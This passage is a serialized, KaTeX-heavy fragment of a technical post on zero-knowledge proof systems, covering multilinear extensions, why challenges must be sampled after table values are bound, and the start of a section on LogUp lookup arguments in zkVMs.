",{"type":24,"tag":32,"props":113908,"children":113910},{"className":113909},[6368,6369],[113911],{"type":24,"tag":90,"props":113912,"children":113914},{"className":113913},[6374],[113915],{"type":24,"tag":90,"props":113916,"children":113918},{"className":113917,"ariaHidden":6380},[6379],[113919],{"type":24,"tag":90,"props":113920,"children":113922},{"className":113921},[6385],[113923,113927,113932,113937,113942,113946,113951],{"type":24,"tag":90,"props":113924,"children":113926},{"className":113925,"style":6496},[6390],[],{"type":24,"tag":90,"props":113928,"children":113930},{"className":113929},[23513],[113931],{"type":29,"value":78448},{"type":24,"tag":90,"props":113933,"children":113935},{"className":113934},[6396],[113936],{"type":29,"value":6408},{"type":24,"tag":90,"props":113938,"children":113940},{"className":113939},[6507],[113941],{"type":29,"value":6510},{"type":24,"tag":90,"props":113943,"children":113945},{"className":113944,"style":6514},[6475],[],{"type":24,"tag":90,"props":113947,"children":113949},{"className":113948},[6396],[113950],{"type":29,"value":534},{"type":24,"tag":90,"props":113952,"children":113954},{"className":113953},[23535],[113955,113960],{"type":24,"tag":90,"props":113956,"children":113958},{"className":113957},[23535],[113959],{"type":29,"value":35955},{"type":24,"tag":90,"props":113961,"children":113963},{"className":113962},[6412],[113964],{"type":24,"tag":90,"props":113965,"children":113967},{"className":113966},[6417],[113968],{"type":24,"tag":90,"props":113969,"children":113971},{"className":113970},[6422],[113972],{"type":24,"tag":90,"props":113973,"children":113975},{"className":113974,"style":110594},[6427],[113976],{"type":24,"tag":90,"props":113977,"children":113978},{"style":6431},[113979,113983],{"type":24,"tag":90,"props":113980,"children":113982},{"className":113981,"style":6437},[6436],[],{"type":24,"tag":90,"props":113984,"children":113986},{"className":113985},[6442,6443,6444,6445],[113987],{"type":24,"tag":90,"props":113988,"children":113990},{"className":113989},[6396,23384,6445],[113991],{"type":29,"value":58228},{"type":29,"value":113993},": it matches the table on Boolean points and extends it to field points.",{"type":24,"tag":25,"props":113995,"children":113996},{},[113997],{"type":29,"value":113998},"For this post, the only property you need is:",{"type":24,"tag":25,"props":114000,"children":114001},{},[114002],{"type":24,"tag":32,"props":114003,"children":114005},{"className":114004},[6368,6369],[114006],{"type":24,"tag":90,"props":114007,"children":114009},{"className":114008},[6374],[114010],{"type":24,"tag":90,"props":114011,"children":114013},{"className":114012,"ariaHidden":6380},[6379],[114014,114176,114448],{"type":24,"tag":90,"props":114015,"children":114017},{"className":114016},[6385],[114018,114023,114092,114097,114158,114163,114167,114172],{"type":24,"tag":90,"props":114019,"children":114022},{"className":114020,"style":114021},[6390],"height:1.1813em;vertical-align:-0.25em;",[],{"type":24,"tag":90,"props":114024,"children":114027},{"className":114025},[6396,114026],"accent",[114028],{"type":24,"tag":90,"props":114029,"children":114031},{"className":114030},[6417,23438],[114032,114080],{"type":24,"tag":90,"props":114033,"children":114035},{"className":114034},[6422],[114036,114075],{"type":24,"tag":90,"props":114037,"children":114040},{"className":114038,"style":114039},[6427],"height:0.9313em;",[114041,114055],{"type":24,"tag":90,"props":114042,"children":114044},{"style":114043},"top:-3em;",[114045,114050],{"type":24,"tag":90,"props":114046,"children":114049},{"className":114047,"style":114048},[6436],"height:3em;",[],{"type":24,"tag":90,"props":114051,"children":114053},{"className":114052,"style":97231},[6396,23384],[114054],{"type":29,"value":34899},{"type":24,"tag":90,"props":114056,"children":114058},{"style":114057},"top:-3.6134em;",[114059,114063],{"type":24,"tag":90,"props":114060,"children":114062},{"className":114061,"style":114048},[6436],[],{"type":24,"tag":90,"props":114064,"children":114068},{"className":114065,"style":114067},[114066],"accent-body","left:-0.0833em;",[114069],{"type":24,"tag":90,"props":114070,"children":114072},{"className":114071},[6396],[114073],{"type":29,"value":114074},"~",{"type":24,"tag":90,"props":114076,"children":114078},{"className":114077},[23541],[114079],{"type":29,"value":23544},{"type":24,"tag":90,"props":114081,"children":114083},{"className":114082},[6422],[114084],{"type":24,"tag":90,"props":114085,"children":114088},{"className":114086,"style":114087},[6427],"height:0.1944em;",[114089],{"type":24,"tag":90,"props":114090,"children":114091},{},[],{"type":24,"tag":90,"props":114093,"children":114095},{"className":114094},[23513],[114096],{"type":29,"value":117},{"type":24,"tag":90,"props":114098,"children":114100},{"className":114099},[6396,114026],[114101],{"type":24,"tag":90,"props":114102,"children":114104},{"className":114103},[6417],[114105],{"type":24,"tag":90,"props":114106,"children":114108},{"className":114107},[6422],[114109],{"type":24,"tag":90,"props":114110,"children":114113},{"className":114111,"style":114112},[6427],"height:0.714em;",[114114,114126],{"type":24,"tag":90,"props":114115,"children":114116},{"style":114043},[114117,114121],{"type":24,"tag":90,"props":114118,"children":114120},{"className":114119,"style":114048},[6436],[],{"type":24,"tag":90,"props":114122,"children":114124},{"className":114123,"style":94877},[6396,23384],[114125],{"type":29,"value":95696},{"type":24,"tag":90,"props":114127,"children":114128},{"style":114043},[114129,114133],{"type":24,"tag":90,"props":114130,"children":114132},{"className":114131,"style":114048},[6436],[],{"type":24,"tag":90,"props":114134,"children":114137},{"className":114135,"style":114136},[114066],"left:-0.1799em;",[114138],{"type":24,"tag":90,"props":114139,"children":114143},{"className":114140,"style":114142},[114141],"overlay","height:0.714em;width:0.471em;",[114144],{"type":24,"tag":36088,"props":114145,"children":114152},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[114153],{"type":24,"tag":114154,"props":114155,"children":114157},"path",{"d":114156},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":24,"tag":90,"props":114159,"children":114161},{"className":114160},[23535],[114162],{"type":29,"value":517},{"type":24,"tag":90,"props":114164,"children":114166},{"className":114165,"style":6573},[6475],[],{"type":24,"tag":90,"props":114168,"children":114170},{"className":114169},[6578],[114171],{"type":29,"value":5491},{"type":24,"tag":90,"props":114173,"children":114175},{"className":114174,"style":6573},[6475],[],{"type":24,"tag":90,"props":114177,"children":114179},{"className":114178},[6385],[114180,114185,114366,114370,114375,114380,114430,114435,114439,114444],{"type":24,"tag":90,"props":114181,"children":114184},{"className":114182,"style":114183},[6390],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":24,"tag":90,"props":114186,"children":114188},{"className":114187},[23420],[114189,114194],{"type":24,"tag":90,"props":114190,"children":114192},{"className":114191,"style":23427},[23420,23425,23426],[114193],{"type":29,"value":110672},{"type":24,"tag":90,"props":114195,"children":114197},{"className":114196},[6412],[114198],{"type":24,"tag":90,"props":114199,"children":114201},{"className":114200},[6417,23438],[114202,114354],{"type":24,"tag":90,"props":114203,"children":114205},{"className":114204},[6422],[114206,114349],{"type":24,"tag":90,"props":114207,"children":114210},{"className":114208,"style":114209},[6427],"height:0.3448em;",[114211],{"type":24,"tag":90,"props":114212,"children":114214},{"style":114213},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[114215,114219],{"type":24,"tag":90,"props":114216,"children":114218},{"className":114217,"style":6437},[6436],[],{"type":24,"tag":90,"props":114220,"children":114222},{"className":114221},[6442,6443,6444,6445],[114223],{"type":24,"tag":90,"props":114224,"children":114226},{"className":114225},[6396,6445],[114227,114281,114286,114291,114296,114301,114306],{"type":24,"tag":90,"props":114228,"children":114230},{"className":114229},[6396,114026,6445],[114231],{"type":24,"tag":90,"props":114232,"children":114234},{"className":114233},[6417],[114235],{"type":24,"tag":90,"props":114236,"children":114238},{"className":114237},[6422],[114239],{"type":24,"tag":90,"props":114240,"children":114243},{"className":114241,"style":114242},[6427],"height:0.9774em;",[114244,114258],{"type":24,"tag":90,"props":114245,"children":114247},{"style":114246},"top:-2.714em;",[114248,114253],{"type":24,"tag":90,"props":114249,"children":114252},{"className":114250,"style":114251},[6436],"height:2.714em;",[],{"type":24,"tag":90,"props":114254,"children":114256},{"className":114255},[6396,23384,6445],[114257],{"type":29,"value":5617},{"type":24,"tag":90,"props":114259,"children":114261},{"style":114260},"top:-2.9774em;",[114262,114266],{"type":24,"tag":90,"props":114263,"children":114265},{"className":114264,"style":114251},[6436],[],{"type":24,"tag":90,"props":114267,"children":114270},{"className":114268,"style":114269},[114066],"left:-0.2355em;",[114271],{"type":24,"tag":90,"props":114272,"children":114274},{"className":114273,"style":114142},[114141,6445],[114275],{"type":24,"tag":36088,"props":114276,"children":114277},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[114278],{"type":24,"tag":114154,"props":114279,"children":114280},{"d":114156},[],{"type":24,"tag":90,"props":114282,"children":114284},{"className":114283},[6578,6445],[114285],{"type":29,"value":23491},{"type":24,"tag":90,"props":114287,"children":114289},{"className":114288},[23513,6445],[114290],{"type":29,"value":78448},{"type":24,"tag":90,"props":114292,"children":114294},{"className":114293},[6396,6445],[114295],{"type":29,"value":6408},{"type":24,"tag":90,"props":114297,"children":114299},{"className":114298},[6507,6445],[114300],{"type":29,"value":6510},{"type":24,"tag":90,"props":114302,"children":114304},{"className":114303},[6396,6445],[114305],{"type":29,"value":534},{"type":24,"tag":90,"props":114307,"children":114309},{"className":114308},[23535,6445],[114310,114315],{"type":24,"tag":90,"props":114311,"children":114313},{"className":114312},[23535,6445],[114314],{"type":29,"value":35955},{"type":24,"tag":90,"props":114316,"children":114318},{"className":114317},[6412],[114319],{"type":24,"tag":90,"props":114320,"children":114322},{"className":114321},[6417],[114323],{"type":24,"tag":90,"props":114324,"children":114326},{"className":114325},[6422],[114327],{"type":24,"tag":90,"props":114328,"children":114331},{"className":114329,"style":114330},[6427],"height:0.5935em;",[114332],{"type":24,"tag":90,"props":114333,"children":114335},{"style":114334},"top:-2.786em;margin-right:0.0714em;",[114336,114340],{"type":24,"tag":90,"props":114337,"children":114339},{"className":114338,"style":110737},[6436],[],{"type":24,"tag":90,"props":114341,"children":114343},{"className":114342},[6442,110742,110743,6445],[114344],{"type":24,"tag":90,"props":114345,"children":114347},{"className":114346},[6396,23384,6445],[114348],{"type":29,"value":58228},{"type":24,"tag":90,"props":114350,"children":114352},{"className":114351},[23541],[114353],{"type":29,"value":23544},{"type":24,"tag":90,"props":114355,"children":114357},{"className":114356},[6422],[114358],{"type":24,"tag":90,"props":114359,"children":114362},{"className":114360,"style":114361},[6427],"height:0.5144em;",[114363],{"type":24,"tag":90,"props":114364,"children":114365},{},[],{"type":24,"tag":90,"props":114367,"children":114369},{"className":114368,"style":6514},[6475],[],{"type":24,"tag":90,"props":114371,"children":114373},{"className":114372,"style":97231},[6396,23384],[114374],{"type":29,"value":34899},{"type":24,"tag":90,"props":114376,"children":114378},{"className":114377},[23513],[114379],{"type":29,"value":117},{"type":24,"tag":90,"props":114381,"children":114383},{"className":114382},[6396,114026],[114384],{"type":24,"tag":90,"props":114385,"children":114387},{"className":114386},[6417],[114388],{"type":24,"tag":90,"props":114389,"children":114391},{"className":114390},[6422],[114392],{"type":24,"tag":90,"props":114393,"children":114395},{"className":114394,"style":114242},[6427],[114396,114408],{"type":24,"tag":90,"props":114397,"children":114398},{"style":114043},[114399,114403],{"type":24,"tag":90,"props":114400,"children":114402},{"className":114401,"style":114048},[6436],[],{"type":24,"tag":90,"props":114404,"children":114406},{"className":114405},[6396,23384],[114407],{"type":29,"value":5617},{"type":24,"tag":90,"props":114409,"children":114411},{"style":114410},"top:-3.2634em;",[114412,114416],{"type":24,"tag":90,"props":114413,"children":114415},{"className":114414,"style":114048},[6436],[],{"type":24,"tag":90,"props":114417,"children":114419},{"className":114418,"style":114269},[114066],[114420],{"type":24,"tag":90,"props":114421,"children":114423},{"className":114422,"style":114142},[114141],[114424],{"type":24,"tag":36088,"props":114425,"children":114426},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[114427],{"type":24,"tag":114154,"props":114428,"children":114429},{"d":114156},[],{"type":24,"tag":90,"props":114431,"children":114433},{"className":114432},[23535],[114434],{"type":29,"value":517},{"type":24,"tag":90,"props":114436,"children":114438},{"className":114437,"style":6476},[6475],[],{"type":24,"tag":90,"props":114440,"children":114442},{"className":114441},[6481],[114443],{"type":29,"value":113139},{"type":24,"tag":90,"props":114445,"children":114447},{"className":114446,"style":6476},[6475],[],{"type":24,"tag":90,"props":114449,"children":114451},{"className":114450},[6385],[114452,114457,114467,114472,114521,114526,114530,114579],{"type":24,"tag":90,"props":114453,"children":114456},{"className":114454,"style":114455},[6390],"height:1.2274em;vertical-align:-0.25em;",[],{"type":24,"tag":90,"props":114458,"children":114460},{"className":114459},[6396,29],[114461],{"type":24,"tag":90,"props":114462,"children":114464},{"className":114463},[6396],[114465],{"type":29,"value":114466},"eq",{"type":24,"tag":90,"props":114468,"children":114470},{"className":114469},[23513],[114471],{"type":29,"value":117},{"type":24,"tag":90,"props":114473,"children":114475},{"className":114474},[6396,114026],[114476],{"type":24,"tag":90,"props":114477,"children":114479},{"className":114478},[6417],[114480],{"type":24,"tag":90,"props":114481,"children":114483},{"className":114482},[6422],[114484],{"type":24,"tag":90,"props":114485,"children":114487},{"className":114486,"style":114242},[6427],[114488,114500],{"type":24,"tag":90,"props":114489,"children":114490},{"style":114043},[114491,114495],{"type":24,"tag":90,"props":114492,"children":114494},{"className":114493,"style":114048},[6436],[],{"type":24,"tag":90,"props":114496,"children":114498},{"className":114497},[6396,23384],[114499],{"type":29,"value":5617},{"type":24,"tag":90,"props":114501,"children":114502},{"style":114410},[114503,114507],{"type":24,"tag":90,"props":114504,"children":114506},{"className":114505,"style":114048},[6436],[],{"type":24,"tag":90,"props":114508,"children":114510},{"className":114509,"style":114269},[114066],[114511],{"type":24,"tag":90,"props":114512,"children":114514},{"className":114513,"style":114142},[114141],[114515],{"type":24,"tag":36088,"props":114516,"children":114517},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[114518],{"type":24,"tag":114154,"props":114519,"children":114520},{"d":114156},[],{"type":24,"tag":90,"props":114522,"children":114524},{"className":114523},[6507],[114525],{"type":29,"value":6510},{"type":24,"tag":90,"props":114527,"children":114529},{"className":114528,"style":6514},[6475],[],{"type":24,"tag":90,"props":114531,"children":114533},{"className":114532},[6396,114026],[114534],{"type":24,"tag":90,"props":114535,"children":114537},{"className":114536},[6417],[114538],{"type":24,"tag":90,"props":114539,"children":114541},{"className":114540},[6422],[114542],{"type":24,"tag":90,"props":114543,"children":114545},{"className":114544,"style":114112},[6427],[114546,114558],{"type":24,"tag":90,"props":114547,"children":114548},{"style":114043},[114549,114553],{"type":24,"tag":90,"props":114550,"children":114552},{"className":114551,"style":114048},[6436],[],{"type":24,"tag":90,"props":114554,"children":114556},{"className":114555,"style":94877},[6396,23384],[114557],{"type":29,"value":95696},{"type":24,"tag":90,"props":114559,"children":114560},{"style":114043},[114561,114565],{"type":24,"tag":90,"props":114562,"children":114564},{"className":114563,"style":114048},[6436],[],{"type":24,"tag":90,"props":114566,"children":114568},{"className":114567,"style":114136},[114066],[114569],{"type":24,"tag":90,"props":114570,"children":114572},{"className":114571,"style":114142},[114141],[114573],{"type":24,"tag":36088,"props":114574,"children":114575},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[114576],{"type":24,"tag":114154,"props":114577,"children":114578},{"d":114156},[],{"type":24,"tag":90,"props":114580,"children":114582},{"className":114581},[23535],[114583],{"type":29,"value":517},{"type":24,"tag":25,"props":114585,"children":114586},{},[114587,114589,114658,114660,114806,114808,114947,114949,115033],{"type":29,"value":114588},"At a fixed challenge point ",{"type":24,"tag":32,"props":114590,"children":114592},{"className":114591},[6368,6369],[114593],{"type":24,"tag":90,"props":114594,"children":114596},{"className":114595},[6374],[114597],{"type":24,"tag":90,"props":114598,"children":114600},{"className":114599,"ariaHidden":6380},[6379],[114601],{"type":24,"tag":90,"props":114602,"children":114604},{"className":114603},[6385],[114605,114609],{"type":24,"tag":90,"props":114606,"children":114608},{"className":114607,"style":114112},[6390],[],{"type":24,"tag":90,"props":114610,"children":114612},{"className":114611},[6396,114026],[114613],{"type":24,"tag":90,"props":114614,"children":114616},{"className":114615},[6417],[114617],{"type":24,"tag":90,"props":114618,"children":114620},{"className":114619},[6422],[114621],{"type":24,"tag":90,"props":114622,"children":114624},{"className":114623,"style":114112},[6427],[114625,114637],{"type":24,"tag":90,"props":114626,"children":114627},{"style":114043},[114628,114632],{"type":24,"tag":90,"props":114629,"children":114631},{"className":114630,"style":114048},[6436],[],{"type":24,"tag":90,"props":114633,"children":114635},{"className":114634,"style":94877},[6396,23384],[114636],{"type":29,"value":95696},{"type":24,"tag":90,"props":114638,"children":114639},{"style":114043},[114640,114644],{"type":24,"tag":90,"props":114641,"children":114643},{"className":114642,"style":114048},[6436],[],{"type":24,"tag":90,"props":114645,"children":114647},{"className":114646,"style":114136},[114066],[114648],{"type":24,"tag":90,"props":114649,"children":114651},{"className":114650,"style":114142},[114141],[114652],{"type":24,"tag":36088,"props":114653,"children":114654},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[114655],{"type":24,"tag":114154,"props":114656,"children":114657},{"d":114156},[],{"type":29,"value":114659},", the coefficients ",{"type":24,"tag":32,"props":114661,"children":114663},{"className":114662},[6368,6369],[114664],{"type":24,"tag":90,"props":114665,"children":114667},{"className":114666},[6374],[114668],{"type":24,"tag":90,"props":114669,"children":114671},{"className":114670,"ariaHidden":6380},[6379],[114672],{"type":24,"tag":90,"props":114673,"children":114675},{"className":114674},[6385],[114676,114680,114689,114694,114743,114748,114752,114801],{"type":24,"tag":90,"props":114677,"children":114679},{"className":114678,"style":114455},[6390],[],{"type":24,"tag":90,"props":114681,"children":114683},{"className":114682},[6396,29],[114684],{"type":24,"tag":90,"props":114685,"children":114687},{"className":114686},[6396],[114688],{"type":29,"value":114466},{"type":24,"tag":90,"props":114690,"children":114692},{"className":114691},[23513],[114693],{"type":29,"value":117},{"type":24,"tag":90,"props":114695,"children":114697},{"className":114696},[6396,114026],[114698],{"type":24,"tag":90,"props":114699,"children":114701},{"className":114700},[6417],[114702],{"type":24,"tag":90,"props":114703,"children":114705},{"className":114704},[6422],[114706],{"type":24,"tag":90,"props":114707,"children":114709},{"className":114708,"style":114242},[6427],[114710,114722],{"type":24,"tag":90,"props":114711,"children":114712},{"style":114043},[114713,114717],{"type":24,"tag":90,"props":114714,"children":114716},{"className":114715,"style":114048},[6436],[],{"type":24,"tag":90,"props":114718,"children":114720},{"className":114719},[6396,23384],[114721],{"type":29,"value":5617},{"type":24,"tag":90,"props":114723,"children":114724},{"style":114410},[114725,114729],{"type":24,"tag":90,"props":114726,"children":114728},{"className":114727,"style":114048},[6436],[],{"type":24,"tag":90,"props":114730,"children":114732},{"className":114731,"style":114269},[114066],[114733],{"type":24,"tag":90,"props":114734,"children":114736},{"className":114735,"style":114142},[114141],[114737],{"type":24,"tag":36088,"props":114738,"children":114739},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[114740],{"type":24,"tag":114154,"props":114741,"children":114742},{"d":114156},[],{"type":24,"tag":90,"props":114744,"children":114746},{"className":114745},[6507],[114747],{"type":29,"value":6510},{"type":24,"tag":90,"props":114749,"children":114751},{"className":114750,"style":6514},[6475],[],{"type":24,"tag":90,"props":114753,"children":114755},{"className":114754},[6396,114026],[114756],{"type":24,"tag":90,"props":114757,"children":114759},{"className":114758},[6417],[114760],{"type":24,"tag":90,"props":114761,"children":114763},{"className":114762},[6422],[114764],{"type":24,"tag":90,"props":114765,"children":114767},{"className":114766,"style":114112},[6427],[114768,114780],{"type":24,"tag":90,"props":114769,"children":114770},{"style":114043},[114771,114775],{"type":24,"tag":90,"props":114772,"children":114774},{"className":114773,"style":114048},[6436],[],{"type":24,"tag":90,"props":114776,"children":114778},{"className":114777,"style":94877},[6396,23384],[114779],{"type":29,"value":95696},{"type":24,"tag":90,"props":114781,"children":114782},{"style":114043},[114783,114787],{"type":24,"tag":90,"props":114784,"children":114786},{"className":114785,"style":114048},[6436],[],{"type":24,"tag":90,"props":114788,"children":114790},{"className":114789,"style":114136},[114066],[114791],{"type":24,"tag":90,"props":114792,"children":114794},{"className":114793,"style":114142},[114141],[114795],{"type":24,"tag":36088,"props":114796,"children":114797},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[114798],{"type":24,"tag":114154,"props":114799,"children":114800},{"d":114156},[],{"type":24,"tag":90,"props":114802,"children":114804},{"className":114803},[23535],[114805],{"type":29,"value":517},{"type":29,"value":114807}," are constants, so ",{"type":24,"tag":32,"props":114809,"children":114811},{"className":114810},[6368,6369],[114812],{"type":24,"tag":90,"props":114813,"children":114815},{"className":114814},[6374],[114816],{"type":24,"tag":90,"props":114817,"children":114819},{"className":114818,"ariaHidden":6380},[6379],[114820],{"type":24,"tag":90,"props":114821,"children":114823},{"className":114822},[6385],[114824,114828,114888,114893,114942],{"type":24,"tag":90,"props":114825,"children":114827},{"className":114826,"style":114021},[6390],[],{"type":24,"tag":90,"props":114829,"children":114831},{"className":114830},[6396,114026],[114832],{"type":24,"tag":90,"props":114833,"children":114835},{"className":114834},[6417,23438],[114836,114877],{"type":24,"tag":90,"props":114837,"children":114839},{"className":114838},[6422],[114840,114872],{"type":24,"tag":90,"props":114841,"children":114843},{"className":114842,"style":114039},[6427],[114844,114856],{"type":24,"tag":90,"props":114845,"children":114846},{"style":114043},[114847,114851],{"type":24,"tag":90,"props":114848,"children":114850},{"className":114849,"style":114048},[6436],[],{"type":24,"tag":90,"props":114852,"children":114854},{"className":114853,"style":97231},[6396,23384],[114855],{"type":29,"value":34899},{"type":24,"tag":90,"props":114857,"children":114858},{"style":114057},[114859,114863],{"type":24,"tag":90,"props":114860,"children":114862},{"className":114861,"style":114048},[6436],[],{"type":24,"tag":90,"props":114864,"children":114866},{"className":114865,"style":114067},[114066],[114867],{"type":24,"tag":90,"props":114868,"children":114870},{"className":114869},[6396],[114871],{"type":29,"value":114074},{"type":24,"tag":90,"props":114873,"children":114875},{"className":114874},[23541],[114876],{"type":29,"value":23544},{"type":24,"tag":90,"props":114878,"children":114880},{"className":114879},[6422],[114881],{"type":24,"tag":90,"props":114882,"children":114884},{"className":114883,"style":114087},[6427],[114885],{"type":24,"tag":90,"props":114886,"children":114887},{},[],{"type":24,"tag":90,"props":114889,"children":114891},{"className":114890},[23513],[114892],{"type":29,"value":117},{"type":24,"tag":90,"props":114894,"children":114896},{"className":114895},[6396,114026],[114897],{"type":24,"tag":90,"props":114898,"children":114900},{"className":114899},[6417],[114901],{"type":24,"tag":90,"props":114902,"children":114904},{"className":114903},[6422],[114905],{"type":24,"tag":90,"props":114906,"children":114908},{"className":114907,"style":114112},[6427],[114909,114921],{"type":24,"tag":90,"props":114910,"children":114911},{"style":114043},[114912,114916],{"type":24,"tag":90,"props":114913,"children":114915},{"className":114914,"style":114048},[6436],[],{"type":24,"tag":90,"props":114917,"children":114919},{"className":114918,"style":94877},[6396,23384],[114920],{"type":29,"value":95696},{"type":24,"tag":90,"props":114922,"children":114923},{"style":114043},[114924,114928],{"type":24,"tag":90,"props":114925,"children":114927},{"className":114926,"style":114048},[6436],[],{"type":24,"tag":90,"props":114929,"children":114931},{"className":114930,"style":114136},[114066],[114932],{"type":24,"tag":90,"props":114933,"children":114935},{"className":114934,"style":114142},[114141],[114936],{"type":24,"tag":36088,"props":114937,"children":114938},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[114939],{"type":24,"tag":114154,"props":114940,"children":114941},{"d":114156},[],{"type":24,"tag":90,"props":114943,"children":114945},{"className":114944},[23535],[114946],{"type":29,"value":517},{"type":29,"value":114948}," is linear in the table values ",{"type":24,"tag":32,"props":114950,"children":114952},{"className":114951},[6368,6369],[114953],{"type":24,"tag":90,"props":114954,"children":114956},{"className":114955},[6374],[114957],{"type":24,"tag":90,"props":114958,"children":114960},{"className":114959,"ariaHidden":6380},[6379],[114961],{"type":24,"tag":90,"props":114962,"children":114964},{"className":114963},[6385],[114965,114969,114974,114979,115028],{"type":24,"tag":90,"props":114966,"children":114968},{"className":114967,"style":114455},[6390],[],{"type":24,"tag":90,"props":114970,"children":114972},{"className":114971,"style":97231},[6396,23384],[114973],{"type":29,"value":34899},{"type":24,"tag":90,"props":114975,"children":114977},{"className":114976},[23513],[114978],{"type":29,"value":117},{"type":24,"tag":90,"props":114980,"children":114982},{"className":114981},[6396,114026],[114983],{"type":24,"tag":90,"props":114984,"children":114986},{"className":114985},[6417],[114987],{"type":24,"tag":90,"props":114988,"children":114990},{"className":114989},[6422],[114991],{"type":24,"tag":90,"props":114992,"children":114994},{"className":114993,"style":114242},[6427],[114995,115007],{"type":24,"tag":90,"props":114996,"children":114997},{"style":114043},[114998,115002],{"type":24,"tag":90,"props":114999,"children":115001},{"className":115000,"style":114048},[6436],[],{"type":24,"tag":90,"props":115003,"children":115005},{"className":115004},[6396,23384],[115006],{"type":29,"value":5617},{"type":24,"tag":90,"props":115008,"children":115009},{"style":114410},[115010,115014],{"type":24,"tag":90,"props":115011,"children":115013},{"className":115012,"style":114048},[6436],[],{"type":24,"tag":90,"props":115015,"children":115017},{"className":115016,"style":114269},[114066],[115018],{"type":24,"tag":90,"props":115019,"children":115021},{"className":115020,"style":114142},[114141],[115022],{"type":24,"tag":36088,"props":115023,"children":115024},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[115025],{"type":24,"tag":114154,"props":115026,"children":115027},{"d":114156},[],{"type":24,"tag":90,"props":115029,"children":115031},{"className":115030},[23535],[115032],{"type":29,"value":517},{"type":29,"value":226},{"type":24,"tag":25,"props":115035,"children":115036},{},[115037,115039,115108],{"type":29,"value":115038},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":24,"tag":32,"props":115040,"children":115042},{"className":115041},[6368,6369],[115043],{"type":24,"tag":90,"props":115044,"children":115046},{"className":115045},[6374],[115047],{"type":24,"tag":90,"props":115048,"children":115050},{"className":115049,"ariaHidden":6380},[6379],[115051],{"type":24,"tag":90,"props":115052,"children":115054},{"className":115053},[6385],[115055,115059],{"type":24,"tag":90,"props":115056,"children":115058},{"className":115057,"style":114112},[6390],[],{"type":24,"tag":90,"props":115060,"children":115062},{"className":115061},[6396,114026],[115063],{"type":24,"tag":90,"props":115064,"children":115066},{"className":115065},[6417],[115067],{"type":24,"tag":90,"props":115068,"children":115070},{"className":115069},[6422],[115071],{"type":24,"tag":90,"props":115072,"children":115074},{"className":115073,"style":114112},[6427],[115075,115087],{"type":24,"tag":90,"props":115076,"children":115077},{"style":114043},[115078,115082],{"type":24,"tag":90,"props":115079,"children":115081},{"className":115080,"style":114048},[6436],[],{"type":24,"tag":90,"props":115083,"children":115085},{"className":115084,"style":94877},[6396,23384],[115086],{"type":29,"value":95696},{"type":24,"tag":90,"props":115088,"children":115089},{"style":114043},[115090,115094],{"type":24,"tag":90,"props":115091,"children":115093},{"className":115092,"style":114048},[6436],[],{"type":24,"tag":90,"props":115095,"children":115097},{"className":115096,"style":114136},[114066],[115098],{"type":24,"tag":90,"props":115099,"children":115101},{"className":115100,"style":114142},[114141],[115102],{"type":24,"tag":36088,"props":115103,"children":115104},{"xmlns":114146,"width":114147,"height":114148,"style":114149,"viewBox":114150,"preserveAspectRatio":114151},[115105],{"type":24,"tag":114154,"props":115106,"children":115107},{"d":114156},[],{"type":29,"value":115109}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":24,"tag":1019,"props":115111,"children":115113},{"id":115112},"lookup-arguments-logup",[115114],{"type":29,"value":115115},"Lookup Arguments (LogUp)",{"type":24,"tag":25,"props":115117,"children":115118},{},[115119],{"type":29,"value":115120},"zkVMs need to check that values satisfy certain properties. For example:",{"type":24,"tag":3207,"props":115122,"children":115123},{},[115124,115180,115185],{"type":24,"tag":3104,"props":115125,"children":115126},{},[115127,115129,115179],{"type":29,"value":115128},"Is this byte in range ",{"type":24,"tag":32,"props":115130,"children":115132},{"className":115131},[6368,6369],[115133],{"type":24,"tag":90,"props":115134,"children":115136},{"className":115135},[6374],[115137],{"type":24,"tag":90,"props":115138,"children":115140},{"className":115139,"ariaHidden":6380},[6379],[115141],{"type":24,"tag":90,"props":115142,"children":115144},{"className":115143},[6385],[115145,115149,115154,115159,115164,115168,115174],{"type":24,"tag":90,"props":115146,"children":115148},{"className":115147,"style":6496},[6390],[],{"type":24,"tag":90,"props":115150,"children":115152},{"className":115151},[23513],[115153],{"type":29,"value":719},{"type":24,"tag":90,"props":115155,"children":115157},{"className":115156},[6396],[115158],{"type":29,"value":6408},{"type":24,"tag":90,"props":115160,"children":115162},{"className":115161},[6507],[115163],{"type":29,"value":6510},{"type":24,"tag":90,"props":115165,"children":115167},{"className":115166,"style":6514},[6475],[],{"type":24,"tag":90,"props":115169,"children":115171},{"className":115170},[6396],[115172],{"type":29,"value":115173},"255",{"type":24,"tag":90,"props":115175,"children":115177},{"className":115176},[23535],[115178],{"type":29,"value":1914},{"type":29,"value":714},{"type":24,"tag":3104,"props":115181,"children":115182},{},[115183],{"type":29,"value":115184},"Does this 